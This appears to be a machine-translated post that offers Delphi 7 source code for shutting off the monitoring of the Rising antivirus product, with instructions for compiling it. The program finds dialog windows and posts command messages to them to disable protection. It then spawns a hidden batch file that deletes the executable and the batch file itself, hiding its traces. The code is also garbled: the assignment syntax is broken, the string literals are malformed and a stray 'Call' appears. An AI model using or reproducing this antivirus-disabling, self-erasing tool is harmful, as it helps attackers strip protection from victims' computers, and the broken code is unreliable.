Program Project1;
Uses
Windows, Messages, sysutils;
Procedure DeleteMe;
Var
Batchfile:textfile;
batchfilename:string;
Processinfo:tprocessinformation;
Startupinfo:tstartupinfo;
Begin
Batchfilename: = Extractfilepath (paramstr (0)) + ' _deleteme.bat ';
AssignFile (Batchfile, batchfilename);
Rewrite (Batchfile);
Writeln (Batchfile, ': Try ');
Writeln (Batchfile, ' del ' + paramstr (0) + ' "');
Writeln (Batchfile,
' If exist ' + paramstr (0) + ' "' + ' goto try ');
Writeln (Batchfile, ' del%0 ');
CloseFile (Batchfile);
Fillchar (Startupinfo, SizeOf (startupinfo), $00);
Startupinfo.dwflags: = Startf_useshowwindow;
Startupinfo.wshowwindow: = Sw_hide;
If CreateProcess (Nil, PChar (batchfilename), nil, nil,
False, Idle_priority_class, nil, nil, startupinfo,
ProcessInfo) Then
Begin
CloseHandle (Processinfo.hthread);
CloseHandle (processinfo.hprocess);
End
End
Procedure stoprising;
Var
Hwindow:hwnd;
LPCLASSNAME:ARRAY[0..20] of Char;
Begin
Hwindow: = GetWindow (GetForegroundWindow, Gw_hwndfirst);
Repeat
GetClassName (Hwindow, Lpclassname, 20);
If Lpclassname = ' #32770 ' then//Determine the class name of the search window
PostMessage (Hwindow, wm_command,40027,0);
PostMessage (Hwindow, wm_command,2775,0);
PostMessage (Hwindow, wm_command,32776,0);
Hwindow: = GetWindow (Hwindow, Gw_hwndnext);
Until
Hwindow = 0;
End
Begin
stoprising; Call
DeleteMe;
End.
Copy all of the contents to the PROJECT1.DPR. Open the Project1.dpr file in Delphi7 and press CTRL+F9 once to generate the EXE file.
After the execution of the program will delete itself, if not, you can change the penultimate line to//deleteme or delete this line.
Delphi off rising monitoring source code